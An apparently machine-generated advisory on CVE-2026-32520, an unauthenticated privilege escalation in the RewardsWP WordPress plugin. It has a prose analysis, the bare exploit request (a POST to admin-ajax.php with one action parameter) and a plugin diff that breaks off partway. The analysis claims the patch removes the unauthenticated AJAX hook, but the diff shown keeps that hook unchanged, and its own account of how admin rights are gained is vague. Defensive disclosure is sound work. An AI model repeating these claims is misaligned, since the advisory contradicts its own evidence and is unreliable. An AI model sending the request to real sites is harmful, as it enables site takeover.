Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-32520: RewardsWP – Loyalty Points & Referral Program for WooCommerce <= 1.0.4 – Unauthenticated Privilege Escalation (rewardswp)

Plugin rewardswp
Severity Critical (CVSS 9.8)
CWE 266
Vulnerable Version 1.0.4
Patched Version 1.0.5
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32520:
The RewardsWP WordPress plugin, versions up to and including 1.0.4, contains an unauthenticated privilege escalation vulnerability. The flaw resides in the plugin’s AJAX handler for the `rewardswp_clear_welcome_flow` action, which lacks any capability or nonce verification. This allows any unauthenticated user to trigger the `ajax_clear_welcome_flow` method in the `AdvocateController` class, which can create a new administrator user account.

The root cause is the insecure registration of the AJAX handler. In the `AdvocateController` constructor (`rewardswp/src/Controllers/AdvocateController.php`), the `ajax_clear_welcome_flow` method is hooked to both `wp_ajax_` and `wp_ajax_nopriv_` actions without any access control. The method `ajax_clear_welcome_flow` calls `login_user_programmatically`, a helper function that can create a new user if one does not exist. The vulnerability is compounded by the `ajax_clear_welcome_flow` method’s logic, which, when triggered by an unauthenticated request, can lead to the execution of user creation code paths that lack proper validation and authorization checks.

Exploitation involves sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `rewardswp_clear_welcome_flow`. No other parameters, nonces, or authentication are required. The server-side handler processes this request and, through a chain of function calls, can create a new WordPress user. An attacker can leverage this to create an administrator account by manipulating the request context or by exploiting the default role assignment logic within the user creation functions called by the plugin.

The patch in version 1.0.5 addresses the vulnerability by removing the `wp_ajax_nopriv_rewardswp_clear_welcome_flow` hook from the `AdvocateController` constructor. The diff shows the removal of line `add_action( ‘wp_ajax_nopriv_rewardswp_clear_welcome_flow’, [ $this, ‘ajax_clear_welcome_flow’ ] );`. This change restricts the `ajax_clear_welcome_flow` endpoint to authenticated users only, as it now only responds to `wp_ajax_` requests. The patch also includes unrelated security hardening, such as adding capability checks to REST API endpoints in `ProductsApi.php` and `RestController.php`, but the primary fix for the unauthenticated escalation is the removal of the `nopriv` hook.

Successful exploitation grants an attacker full administrative access to the WordPress site. This allows complete control over the site’s content, settings, users, and installed plugins. An attacker can deface the site, inject malicious code, steal sensitive data, create backdoor accounts, or leverage the compromised site for further attacks. The CVSS score of 9.8 reflects the low attack complexity, lack of required privileges, and high impact on confidentiality, integrity, and availability.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/rewardswp/rewardswp.php
+++ b/rewardswp/rewardswp.php
@@ -3,7 +3,7 @@
  * Plugin Name: RewardsWP
  * Plugin URI: https://rewardswp.com
  * Description: Turn one-time buyers into repeat customers with Points and Referrals. RewardsWP helps you launch a loyalty and refer-a-friend program in minutes.
- * Version: 1.0.4
+ * Version: 1.0.5
  * Author: AffiliateWP
  * Author URI: https://affiliatewp.com/rewardswp
  * Text Domain: rewardswp
@@ -44,7 +44,7 @@
 	 *
 	 * @since 1.0.0
 	 */
-	define( 'AM_REWARDSWP_VERSION', '1.0.4' );
+	define( 'AM_REWARDSWP_VERSION', '1.0.5' );
 }

 // Plugin Folder Path.
--- a/rewardswp/src/Abstracts/AbstractModel.php
+++ b/rewardswp/src/Abstracts/AbstractModel.php
@@ -282,6 +282,11 @@
 			throw new InvalidArgumentException( esc_html__( 'Object ID is required for deletion.', 'rewardswp' ) );
 		}

+		// Call before_delete() hook if it exists in the child class.
+		if ( method_exists( $this, 'before_delete' ) ) {
+			$this->before_delete();
+		}
+
 		// Attempt to delete the object by ID.
 		$result = $this->db_handler->delete( $this->db_table->get_prefixed_table_name(), [ 'id' => $this->id ] );

--- a/rewardswp/src/Abstracts/AbstractModelWithMeta.php
+++ b/rewardswp/src/Abstracts/AbstractModelWithMeta.php
@@ -108,6 +108,12 @@
 			throw new InvalidArgumentException( esc_html__( 'Object ID is required for deletion.', 'rewardswp' ) );
 		}

+		// Call before_delete() hook if it exists in the child class.
+		// This must be called before deleting metadata so we can still access object properties.
+		if ( method_exists( $this, 'before_delete' ) ) {
+			$this->before_delete();
+		}
+
 		$prefixed_meta_table = $this->db_table->get_prefixed_meta_table_name();
 		$relationship_column = $this->db_table->get_meta_table_relationship_field_name();

--- a/rewardswp/src/Api/V1/ProductsApi.php
+++ b/rewardswp/src/Api/V1/ProductsApi.php
@@ -98,6 +98,14 @@
 	 * @return WP_Error|bool
 	 */
 	public function get_products_permissions_check( WP_REST_Request $request ) {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				esc_html__( 'You do not have permission to access this endpoint.', 'rewardswp' ),
+				[ 'status' => 403 ]
+			);
+		}
+
 		return true;
 	}
 }
--- a/rewardswp/src/Api/V1/RestController.php
+++ b/rewardswp/src/Api/V1/RestController.php
@@ -58,6 +58,14 @@
 	 * @return WP_Error|bool
 	 */
 	public function get_rewards_permissions_check( $request ) {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			return new WP_Error(
+				'rest_forbidden',
+				esc_html__( 'You do not have permission to access this endpoint.', 'rewardswp' ),
+				[ 'status' => 403 ]
+			);
+		}
+
 		return true;
 	}
 }
--- a/rewardswp/src/Controllers/Admin/LicenseController.php
+++ b/rewardswp/src/Controllers/Admin/LicenseController.php
@@ -167,11 +167,16 @@
 			wp_die();
 		}

+		$expires           = $license_data['expires'] ?? 0;
+		$expires_timestamp = is_numeric( $expires ) ? (int) $expires : 0;
+
 		wp_send_json_success(
 			array_merge(
 				$license_data,
 				[
-					'expires_formatted' => format_date_from_timestamp( $license_data['expires'] ?? 0 ),
+					'expires_formatted' => $expires_timestamp > 0
+						? format_date_from_timestamp( $expires_timestamp )
+						: '',
 				]
 			)
 		);
--- a/rewardswp/src/Controllers/Admin/MainAdminController.php
+++ b/rewardswp/src/Controllers/Admin/MainAdminController.php
@@ -644,7 +644,35 @@
 				'referral_link'           => add_query_arg( $referral_slug->get_value(), 'ABC123', home_url( '/' ) ),
 				'available_rewards'       => $available_rewards_demo,
 				'available_rewards_count' => count( $available_rewards_demo ),
-				'friends_referred'        => 5,
+				'friends_referred'        => 8,
+			],
+			// Mock activity data — curated happy path for store owner preview.
+			// Math: 100+200+500+50+500-500+400 = 1,250 approved balance (+225 pending).
+			'activity'                => [
+				'points'    => [
+					'items'         => [
+						[ 'id' => 1, 'action' => 'Earned', 'target' => 'Made a purchase', 'points' => 400, 'is_deduction' => false, 'date' => 'Today', 'status' => 'approved' ],
+						[ 'id' => 2, 'action' => 'Spent', 'target' => 'Redeemed: Hydrating Rose Mist', 'points' => 500, 'is_deduction' => true, 'date' => 'Yesterday', 'status' => 'approved' ],
+						[ 'id' => 3, 'action' => 'Earned', 'target' => 'Referred a friend', 'points' => 500, 'is_deduction' => false, 'date' => '3 days ago', 'status' => 'approved' ],
+						[ 'id' => 4, 'action' => 'Earned', 'target' => 'Made a purchase', 'points' => 225, 'is_deduction' => false, 'date' => '1 week ago', 'status' => 'pending' ],
+						[ 'id' => 5, 'action' => 'Earned', 'target' => 'Wrote a product review', 'points' => 50, 'is_deduction' => false, 'date' => '2 weeks ago', 'status' => 'approved' ],
+						[ 'id' => 6, 'action' => 'Earned', 'target' => 'Made a purchase', 'points' => 500, 'is_deduction' => false, 'date' => '3 weeks ago', 'status' => 'approved' ],
+						[ 'id' => 7, 'action' => 'Earned', 'target' => 'First order bonus', 'points' => 200, 'is_deduction' => false, 'date' => '1 month ago', 'status' => 'approved' ],
+						[ 'id' => 8, 'action' => 'Earned', 'target' => 'Created an account', 'points' => 100, 'is_deduction' => false, 'date' => '1 month ago', 'status' => 'approved' ],
+					],
+					'total'         => 8,
+					'status_counts' => [ 'total' => 8, 'approved' => 7, 'pending' => 1 ],
+				],
+				'referrals' => [
+					'items'         => [
+						[ 'id' => 101, 'friend_name' => 'Emma L.', 'action_text' => 'made a purchase', 'status' => 'completed', 'date' => 'Yesterday' ],
+						[ 'id' => 102, 'friend_name' => 'j*****r@gmail.com', 'action_text' => 'claimed their reward', 'status' => 'pending', 'date' => '3 days ago' ],
+						[ 'id' => 103, 'friend_name' => 'Olivia K.', 'action_text' => 'placed an order', 'status' => 'pending', 'date' => '5 days ago' ],
+						[ 'id' => 104, 'friend_name' => 'Noah P.', 'action_text' => 'made a purchase', 'status' => 'completed', 'date' => '1 week ago' ],
+					],
+					'total'         => 4,
+					'status_counts' => [ 'total' => 4, 'completed' => 2, 'pending' => 2 ],
+				],
 			],
 		];

--- a/rewardswp/src/Controllers/Admin/MembersAdminController.php
+++ b/rewardswp/src/Controllers/Admin/MembersAdminController.php
@@ -967,6 +967,7 @@
 					'action_label'         => __( 'Adjusted by Admin', 'rewardswp' ),
 					'target_label'         => '',
 					'target_link'          => '',
+					'status'               => 'approved',
 					'date'                 => __( 'Today', 'rewardswp' ),
 				];
 			}
--- a/rewardswp/src/Controllers/AdvocateController.php
+++ b/rewardswp/src/Controllers/AdvocateController.php
@@ -14,6 +14,8 @@
 use AwesomemotiveRewardswpServicesAntiSpamService;
 use AwesomemotiveRewardswpServicesAssetsService;
 use AwesomemotiveRewardswpServicesPanelService;
+use AwesomemotiveRewardswpServicesPointsService;
+use AwesomemotiveRewardswpServicesReferralsService;
 use AwesomemotiveRewardswpServicesRewardsService;
 use AwesomemotiveRewardswpSettingsOptionsReferralsRewardsOption;
 use AwesomemotiveRewardswpSettingsOptionsPointsSpendActionsOption;
@@ -22,6 +24,7 @@
 use AwesomemotiveRewardswpViewsPanelAdvocateRewardsWidgetView;
 use AwesomemotiveRewardswpViewsPanelPartsEmptyRewardsView;
 use AwesomemotiveRewardswpModelsMember;
+use AwesomemotiveRewardswpModelsReferral;
 use Exception;
 use WP_User;
 use function AwesomemotiveRewardswpHelpersget_member_by;
@@ -43,7 +46,16 @@
 use function AwesomemotiveRewardswpHelpersget_site_currency_symbol;
 use AwesomemotiveRewardswpSettingsOptionsReferralsReferralVariableOption;
 use AwesomemotiveRewardswpInterfacesViewInterface;
+use AwesomemotiveRewardswpRepositoriesActivityRepository;
+use AwesomemotiveRewardswpServicesActivityFormatterService;
 use function AwesomemotiveRewardswpHelpersrewardswp_log_error;
+use function AwesomemotiveRewardswpHelpersget_human_readable_date;
+use function AwesomemotiveRewardswpHelpersget_reward_display_title_from_values;
+use function AwesomemotiveRewardswpHelpersmask_email;
+use function AwesomemotiveRewardswpHelpersget_user_full_name;
+use function AwesomemotiveRewardswpHelpersget_referral;
+use function AwesomemotiveRewardswpHelpersget_member;
+use function AwesomemotiveRewardswpHelpersformat_name_first_and_initial;


 /**
@@ -60,6 +72,13 @@
 	const AJAX_NONCE = 'rewardswp_advocate_form_nonce';

 	/**
+	 * Maximum number of activity items per page.
+	 *
+	 * @since 1.2.0
+	 */
+	const MAX_ACTIVITY_ITEMS_PER_PAGE = 50;
+
+	/**
 	 * Views factory instance.
 	 *
 	 * @since 1.0.0
@@ -135,6 +154,38 @@
 	 */
 	private AntiSpamService $anti_spam_service;

+	/**
+	 * Referrals service instance.
+	 *
+	 * @since 1.2.0
+	 * @var ReferralsService
+	 */
+	private ReferralsService $referrals_service;
+
+	/**
+	 * Points service instance.
+	 *
+	 * @since 1.2.0
+	 * @var PointsService
+	 */
+	private PointsService $points_service;
+
+	/**
+	 * Activity repository instance.
+	 *
+	 * @since 1.2.0
+	 * @var ActivityRepository
+	 */
+	private ActivityRepository $activity_repository;
+
+	/**
+	 * Activity formatter service instance.
+	 *
+	 * @since 1.2.0
+	 * @var ActivityFormatterService
+	 */
+	private ActivityFormatterService $activity_formatter_service;
+
 	public function __construct(
 		ViewsFactory $views_factory,
 		AssetsService $assets_service,
@@ -144,7 +195,11 @@
 		MailerFactory $mailer_factory,
 		IntegrationInterface $integration,
 		PanelService $panel_service,
-		AntiSpamService $anti_spam_service
+		AntiSpamService $anti_spam_service,
+		ReferralsService $referrals_service,
+		PointsService $points_service,
+		ActivityRepository $activity_repository,
+		ActivityFormatterService $activity_formatter_service
 	) {
 		$this->views_factory               = $views_factory;
 		$this->assets_service              = $assets_service;
@@ -155,6 +210,10 @@
 		$this->integration                 = $integration;
 		$this->panel_service               = $panel_service;
 		$this->anti_spam_service           = $anti_spam_service;
+		$this->referrals_service           = $referrals_service;
+		$this->points_service              = $points_service;
+		$this->activity_repository         = $activity_repository;
+		$this->activity_formatter_service  = $activity_formatter_service;
 	}

 	/**
@@ -182,6 +241,10 @@
 		add_action( 'wp_ajax_rewardswp_clear_welcome_flow', [ $this, 'ajax_clear_welcome_flow' ] );
 		add_action( 'wp_ajax_nopriv_rewardswp_clear_welcome_flow', [ $this, 'ajax_clear_welcome_flow' ] );

+		// AJAX handler for member activity logs (available for all users, including guests with tokens).
+		add_action( 'wp_ajax_rewardswp_get_member_activity', [ $this, 'ajax_get_member_activity' ] );
+		add_action( 'wp_ajax_nopriv_rewardswp_get_member_activity', [ $this, 'ajax_get_member_activity' ] );
+
 		if ( is_wp_admin_page() ) {
 			return; // Bail if we're in admin area.
 		}
@@ -697,50 +760,13 @@
 		// Check if email already has a WordPress user account.
 		$existing_user = get_user_by( 'email', $email );
 		if ( $existing_user ) {
-			// User exists - check if they have a member record.
-			$existing_member = get_member_by( 'user_id', $existing_user->ID );
-			if ( $existing_member ) {
-				wp_send_json_error(
-					[
-						'message'            => esc_html__( 'This email is already registered.', 'rewardswp' ),
-						'redirect_to_login' => true,
-					],
-					400
-				);
-			}
-
-			// User exists but no member record - create one.
-			// Parse name into first and last name using helper function.
-			$name_parts = parse_name( trim( $name ) );
-			$first_name = $name_parts['first_name'] ?? '';
-			$last_name  = $name_parts['last_name'] ?? '';
-
-			$member_data = [
-				'user_id'    => $existing_user->ID,
-				'email'      => $email,
-				'first_name' => $first_name,
-				'last_name'  => $last_name,
-			];
-
-			$member = create_member( $member_data );
-
-			if ( is_wp_error( $member ) ) {
-				wp_send_json_error(
-					[
-						'message' => $member->get_error_message(),
-					],
-					400
-				);
-			}
-
-			// Award signup points.
-			do_action( 'rewardswp_award_points_on_signup', $existing_user->ID );
-
-			// Log in the user.
-			login_user_programmatically( $existing_user->ID );
-
-			// Refresh member to get updated points balance.
-			$member = get_member_by( 'id', $member->id );
+			wp_send_json_error(
+				[
+					'message'            => esc_html__( 'We couldn't create your account.', 'rewardswp' ),
+					'redirect_to_login' => true,
+				],
+				400
+			);
 		} else {
 			// No WP user exists - create one.
 			// Parse name into first and last name using helper function.
@@ -1278,4 +1304,115 @@
 		wp_send_json_success( [ 'message' => __( 'Welcome flow cleared.', 'rewardswp' ) ] );
 	}

+	/**
+	 * AJAX handler for getting member activity logs.
+	 *
+	 * Returns paginated activity data for the frontend widget.
+	 * Only available for logged-in members (not guests).
+	 *
+	 * @since 1.2.0
+	 * @return void
+	 */
+	public function ajax_get_member_activity(): void {
+		// Verify nonce.
+		if ( ! check_ajax_referer( self::AJAX_NONCE, 'nonce', false ) ) {
+			wp_send_json_error(
+				[
+					'message' => esc_html__( 'Security check failed.', 'rewardswp' ),
+				],
+				403
+			);
+		}
+
+		// Check if user is a member.
+		if ( ! is_current_user_a_member() ) {
+			wp_send_json_error(
+				[
+					'message' => esc_html__( 'Activity logs are only available for members.', 'rewardswp' ),
+				],
+				403
+			);
+		}
+
+		// Get current member.
+		$member = get_current_member();
+		if ( ! $member ) {
+			wp_send_json_error(
+				[
+					'message' => esc_html__( 'Unable to find your member data.', 'rewardswp' ),
+				],
+				400
+			);
+		}
+
+		// Get request parameters.
+		$tab      = isset( $_POST['tab'] ) ? sanitize_text_field( wp_unslash( $_POST['tab'] ) ) : 'points';
+		$page     = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;
+		$per_page = isset( $_POST['per_page'] ) ? absint( $_POST['per_page'] ) : 10;
+
+		// Limit per_page to reasonable values.
+		$per_page = min( max( $per_page, 1 ), self::MAX_ACTIVITY_ITEMS_PER_PAGE );
+		$offset   = ( $page - 1 ) * $per_page;
+
+		$items         = [];
+		$total         = 0;
+		$status_counts = null;
+
+		switch ( $tab ) {
+			case 'points':
+				$raw_items = $this->activity_repository->get_points_activity( $member->id, $per_page, $offset );
+				$total     = $this->activity_repository->count_points_activity( $member->id );
+				$items     = $this->activity_formatter_service->format_points_activity( $raw_items );
+
+				// Get status counts using PointsService (similar to ReferralsService pattern)
+				$status_counts = [
+					'total'    => $this->points_service->count_points_entries( [ 'member_id' => $member->id ] ),
+					'approved' => $this->points_service->count_points_entries( [ 'member_id' => $member->id, 'status' => 'approved' ] ),
+					'pending'  => $this->points_service->count_points_entries( [ 'member_id' => $member->id, 'status' => 'pending' ] ),
+				];
+
+				// Calculate sum of pending points
+				$pending_points_sum = $this->points_service->get_pending_points_sum( $member->id );
+				$status_counts['pending_points_sum'] = $pending_points_sum;
+				break;
+
+		case 'referrals':
+			$raw_items = $this->activity_repository->get_referrals_activity( $member->id, $per_page, $offset );
+			$total     = $this->activity_repository->count_referrals_activity( $member->id );
+			$items     = $this->activity_formatter_service->format_referrals_activity( $raw_items );
+
+			// Get status counts using ReferralsService
+			$status_counts = [
+				'total'     => $this->referrals_service->count_referrals( [ 'advocate_id' => $member->id, 'status' => [ 'completed', 'pending' ] ] ),
+				'completed' => $this->referrals_service->count_referrals( [ 'advocate_id' => $member->id, 'status' => 'completed' ] ),
+				'pending'   => $this->referrals_service->count_referrals( [ 'advocate_id' => $member->id, 'status' => 'pending' ] ),
+			];
+			break;
+
+		default:
+				wp_send_json_error(
+					[
+						'message' => esc_html__( 'Invalid tab specified.', 'rewardswp' ),
+					],
+					400
+				);
+		}
+
+		$has_more = ( $offset + count( $items ) ) < $total;
+
+		$response_data = [
+			'items'    => $items,
+			'total'    => $total,
+			'page'     => $page,
+			'per_page' => $per_page,
+			'has_more' => $has_more,
+		];
+
+		// Include status_counts for both points and referrals tabs
+		if ( isset( $status_counts ) ) {
+			$response_data['status_counts'] = $status_counts;
+		}
+
+		wp_send_json_success( $response_data );
+	}
 }
--- a/rewardswp/src/Database/DatabaseHandler.php
+++ b/rewardswp/src/Database/DatabaseHandler.php
@@ -287,6 +287,12 @@
 	 *                                - 'join_query': Array of join conditions, each with 'type', 'table', 'on', and optional 'where'.
 	 *                                - 'meta_query': Array of meta query conditions.
 	 *                                - 'date_query': Array of date query conditions similar to WP_Query.
+	 *                                - 'not_exists_query': Array of NOT EXISTS subquery conditions.
+	 *                                  Each item can have:
+	 *                                  - 'table': (optional) Table for the subquery. Defaults to the main table.
+	 *                                  - 'link_column': Column in the subquery that references the main table.
+	 *                                  - 'link_to': (optional) Column in the main table. Defaults to 'id'.
+	 *                                  - 'where': Associative array of additional WHERE conditions for the subquery.
 	 *
 	 *                                Examples:
 	 *                                Basic Example:
@@ -442,6 +448,10 @@
 			}
 		}

+		// Extract not_exists_query before processing standard WHERE conditions.
+		$not_exists_query = $query_args['not_exists_query'] ?? null;
+		unset( $query_args['not_exists_query'] );
+
 		// Process standard WHERE conditions for the main table.
 		foreach ( $query_args as $column => $value ) {
 			if ( 'meta_query' !== $column && 'date_query' !== $column && 'like_query' !== $column ) { // Ignore special query types here.
@@ -544,6 +554,29 @@
 			}
 		}

+		// Process not_exists_query if provided.
+		if ( $not_exists_query ) {
+			foreach ( $not_exists_query as $index => $ne ) {
+				$ne_table       = $ne['table'] ?? $table;
+				$ne_link_column = $ne['link_column'];
+				$ne_link_to     = $ne['link_to'] ?? 'id';
+				$ne_alias       = "_ne_{$index}";
+
+				$ne_conditions = [
+					"{$ne_alias}.{$ne_link_column} = {$table}.{$ne_link_to}",
+				];
+
+				if ( ! empty( $ne['where'] ) ) {
+					foreach ( $ne['where'] as $ne_col => $ne_val ) {
+						$ne_conditions[] = $db->prepare( "{$ne_alias}.{$ne_col} = %s", $ne_val );
+					}
+				}
+
+				$ne_where           = implode( ' AND ', $ne_conditions );
+				$where_conditions[] = "NOT EXISTS ( SELECT 1 FROM {$ne_table} AS {$ne_alias} WHERE {$ne_where} )";
+			}
+		}
+
 		// Combine all WHERE conditions.
 		$where_clause = ! empty( $where_conditions ) ? ' WHERE ' . implode( ' AND ', $where_conditions ) : '';

--- a/rewardswp/src/Database/Tables/PointsTable.php
+++ b/rewardswp/src/Database/Tables/PointsTable.php
@@ -97,7 +97,8 @@
 					PRIMARY KEY (id),
 					KEY member_id (member_id),
 					KEY status (status),
-					KEY expires_at (expires_at)
+					KEY expires_at (expires_at),
+					KEY source_type_source_id (source_type, source_id)
 				) %s;",
 				$this->get_prefixed_table_name(),
 				$this->global_config->get_db()->get_charset_collate()
--- a/rewardswp/src/Helpers/IconHelper.php
+++ b/rewardswp/src/Helpers/IconHelper.php
@@ -461,6 +461,18 @@
 				<path d="m23.249 12.75 -5.47 5.469a0.75 0.75 0 0 1 -1.061 0L15 16.5" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>
 				<path d="M8.223 19.9 3.75 23.25v-4.5h-1.5a1.5 1.5 0 0 1 -1.5 -1.5v-15a1.5 1.5 0 0 1 1.5 -1.5h19.5a1.5 1.5 0 0 1 1.5 1.5v7.5" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>
 				</svg>',
+
+				/**
+				 * Used by Activity panel on rewards widget
+				 */
+				'clock-history' => '<svg class="{classes}" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
+					<desc>
+						Clock history icon
+					</desc>
+					<path d="M13.5 22a9.75 9.75 0 1 0 -9.75 -9.75V13" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>
+					<path d="m0.75 9.997 3 3 3 -3" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>
+					<path d="m12.75 6.247 0 6.75 5.25 0" fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5"></path>
+					</svg>',
 		];

 		$this->bold_icons = [
--- a/rewardswp/src/Helpers/PointsHelper.php
+++ b/rewardswp/src/Helpers/PointsHelper.php
@@ -41,6 +41,25 @@
 }

 /**
+ * Update an existing points entry.
+ *
+ * @since 1.2.0
+ *
+ * @param array $args           Array of arguments for updating a points entry.
+ * @param bool  $notify         Optional. Whether to send notification email. Default true.
+ * @param bool  $update_balance Optional. Whether to update member balance automatically. Default true.
+ *
+ * @return Point|WP_Error Point object if successful, WP_Error object on failure.
+ */
+function update_point_entry( array $args, bool $notify = true, bool $update_balance = true ) {
+	try {
+		return am_rewardswp()->get_container()->get( PointsService::class )->update_points_entry( $args, $notify, $update_balance );
+	} catch ( Exception $e ) {
+		return new WP_Error( 'points_update_failed', $e->getMessage() );
+	}
+}
+
+/**
  * Get points entry by ID.
  *
  * @since 1.0.1
@@ -151,6 +170,24 @@
 }

 /**
+ * Get total pending points for a member.
+ *
+ * @since 1.2.0
+ *
+ * @param int $member_id The member ID.
+ *
+ * @return int
+ */
+function get_member_pending_points( int $member_id ): int {
+	try {
+		$points_service = am_rewardswp()->get_container()->make( PointsService::class );
+		return $points_service->get_pending_points_sum( $member_id );
+	} catch ( Exception $e ) {
+		return 0;
+	}
+}
+
+/**
  * Get net points earned for a specific order.
  *
  * Calculates earned points minus any refund deductions for the order.
@@ -196,6 +233,26 @@
 }

 /**
+ * Get point status label.
+ *
+ * @since 1.0.0
+ *
+ * @param string $status The point status.
+ *
+ * @return string
+ */
+function get_point_status_label( string $status ): string {
+	$statuses = [
+		'pending'  => esc_html__( 'Pending', 'rewardswp' ),
+		'approved' => esc_html__( 'Approved', 'rewardswp' ),
+		'expired'  => esc_html__( 'Expired', 'rewardswp' ),
+		'revoked'  => esc_html__( 'Revoked', 'rewardswp' ),
+	];
+
+	return $statuses[ $status ] ?? ucwords( $status );
+}
+
+/**
  * Delete all points and their associated metadata for a given member ID.
  *
  * @since 1.1.0
--- a/rewardswp/src/Helpers/StringHelper.php
+++ b/rewardswp/src/Helpers/StringHelper.php
@@ -293,6 +293,41 @@
 }

 /**
+ * Format a full name to show first name + initial of last name.
+ *
+ * Examples:
+ * - "João Silva" -> "João S."
+ * - "Maria da Silva" -> "Maria S."
+ * - "Pedro" -> "Pedro"
+ *
+ * @since 1.2.0
+ *
+ * @param string $full_name The full name to format.
+ *
+ * @return string Formatted name with first name + initial, or empty string if name is empty.
+ */
+function format_name_first_and_initial( string $full_name ): string {
+	if ( empty( trim( $full_name ) ) ) {
+		return '';
+	}
+
+	$parsed = parse_name( trim( $full_name ) );
+	$first_name = $parsed['first_name'] ?? '';
+	$last_name  = $parsed['last_name'] ?? '';
+
+	// If no last name, return just the first name.
+	if ( empty( $last_name ) ) {
+		return $first_name;
+	}
+
+	// Get first character of last name (handle multi-word last names by getting first char of first word).
+	$last_name_words = explode( ' ', trim( $last_name ) );
+	$initial = ! empty( $last_name_words[0] ) ? mb_substr( $last_name_words[0], 0, 1 ) : '';
+
+	return $first_name . ( ! empty( $initial ) ? ' ' . mb_strtoupper( $initial ) . '.' : '' );
+}
+
+/**
  * Return a constant value if exists, with a fallback option.
  *
  * @since 1.0.0
@@ -402,3 +437,43 @@

 	return $html;
 }
+
+/**
+ * Mask an email address for privacy display.
+ *
+ * Shows a portion of the local part (before @) followed by asterisks,
+ * while hiding the domain part completely. This helps users identify
+ * the email owner without exposing the full address.
+ *
+ * @since 1.2.0
+ *
+ * @param string $email           The email address to mask.
+ * @param int    $visible_chars   Optional. Number of characters from the local part to show. Default 6.
+ * @param string $mask_char       Optional. Character to use for masking. Default '*'.
+ * @param int    $mask_length     Optional. Number of mask characters to append. Default 3.
+ *
+ * @return string The masked email address (e.g., 'darvin***' or 'johnsm***').
+ */
+function mask_email( string $email ): string {
+    if ( ! filter_var( $email, FILTER_VALIDATE_EMAIL ) ) {
+        return '';
+    }
+
+    [ $local, $domain ] = explode( '@', $email, 2 );
+
+    // Mask the local part (before @).
+    // Cap asterisks at 5 regardless of actual length (industry standard: Google, Apple, etc.).
+    $local_length = strlen( $local );
+
+    if ( $local_length <= 2 ) {
+        $masked_local = str_repeat( '*', $local_length );
+    } else {
+        $mask_length  = min( $local_length - 2, 5 );
+        $masked_local =
+            substr( $local, 0, 1 ) .
+            str_repeat( '*', $mask_length ) .
+            substr( $local, -1 );
+    }
+
+    return $masked_local . '@' . $domain;
+}
--- a/rewardswp/src/Helpers/UserHelper.php
+++ b/rewardswp/src/Helpers/UserHelper.php
@@ -130,6 +130,12 @@
 	// Set the current user
 	wp_set_current_user( $user_id );

+	// Sync $_COOKIE so wp_get_session_token() works in the same request.
+	// wp_set_auth_cookie() only sends Set-Cookie headers; $_COOKIE is not updated.
+	add_action( 'set_logged_in_cookie', function ( $logged_in_cookie ) {
+		$_COOKIE[ LOGGED_IN_COOKIE ] = $logged_in_cookie;
+	} );
+
 	// Set the authentication cookie
 	wp_set_auth_cookie( $user_id, $remember );

--- a/rewardswp/src/Integrations/EasyDigitalDownloadsIntegration.php
+++ b/rewardswp/src/Integrations/EasyDigitalDownloadsIntegration.php
@@ -232,6 +232,7 @@
 		add_action( 'edd_complete_purchase', [ $this, 'action_convert_customer_into_advocate' ], 14 );
 		add_action( 'template_redirect', [ $this, 'action_hide_panel_from_checkout_pages' ] );
 		add_action( 'edd_customer_updated', [ $this, 'action_keep_advocate_in_sync_with_customer_name' ], 10, 2 );
+		add_action( 'edd_insert_payment', [ $this, 'action_create_pending_purchase_points' ], 10, 2 );
 		add_action( 'edd_complete_purchase', [ $this, 'action_maybe_award_purchase_points' ] );
 		add_action( 'edd_complete_purchase', [ $this, 'action_maybe_award_first_order_points' ] );
 		add_action( 'edd_after_download_content', [ $this, 'render_product_points_notice' ] );
@@ -814,8 +815,90 @@
 	}

 	/**
+	 * Create pending purchase points entry when a payment is inserted.
+	 *
+	 * This method creates a point entry with 'pending' status when a payment is inserted.
+	 * The entry will be updated to 'approved' when payment is confirmed.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int   $payment_id The payment ID.
+	 * @param array $payment_data The payment data array.
+	 *
+	 * @return void
+	 */
+	public function action_create_pending_purchase_points( int $payment_id, array $payment_data ): void {
+		if ( ! $this->is_order_trackable( $payment_id ) ) {
+			return; // Bail because the order don't attend the conditions to be tracked.
+		}
+
+		$earn_actions = get_option_value( EarnActionsOption::class );
+
+		// Check if purchase points are enabled and configured.
+		if ( empty( $earn_actions['purchase']['enabled'] ) || empty( $earn_actions['purchase']['points_per_dollar'] ) ) {
+			return;
+		}
+
+		// Try to retrieve the member by its email.
+		$user_info = $this->get_order_user_info( $payment_id );
+		$member    = get_member_by( 'email', $user_info['email'] ?? '' );
+
+		if ( is_null( $member ) ) {
+			return;
+		}
+
+		// Check if points entry already exists for this payment (prevent duplicates).
+		$existing_points = get_points_entries(
+			[
+				'member_id'   => $member->id,
+				'source_type' => 'purchase',
+				'source_id'   => $payment_id,
+			],
+			1,
+			1
+		);
+
+		if ( ! empty( $existing_points ) ) {
+			return;
+		}
+
+		// Calculate points based on payment total.
+		$payment_total = $this->get_order_total( $payment_id );
+		$base_amount   = $earn_actions['purchase']['base_amount'] ?? get_default_points_base_amount();
+		$points        = (int) floor( ( $payment_total / $base_amount ) * $earn_actions['purchase']['points_per_dollar'] );
+
+		if ( $points <= 0 ) {
+			return;
+		}
+
+		// Create pending points entry.
+		$points_entry = [
+			'member_id'   => absint( $member->id ),
+			'points'      => $points,
+			'type'        => 'earned',
+			'source_type' => 'purchase',
+			'source_id'   => $payment_id,
+			'status'      => 'pending',
+			'note_public' => sprintf(
+				/* translators: %d: payment ID */
+				esc_html__( 'Points pending for payment #%d', 'rewardswp' ),
+				$payment_id
+			),
+		];
+
+		$point = $this->points_service->create_points_entry( $points_entry, false, false );
+
+		if ( is_a( $point, Point::class ) ) {
+			$point->update_meta( 'integration', $this->get_source() );
+		}
+	}
+
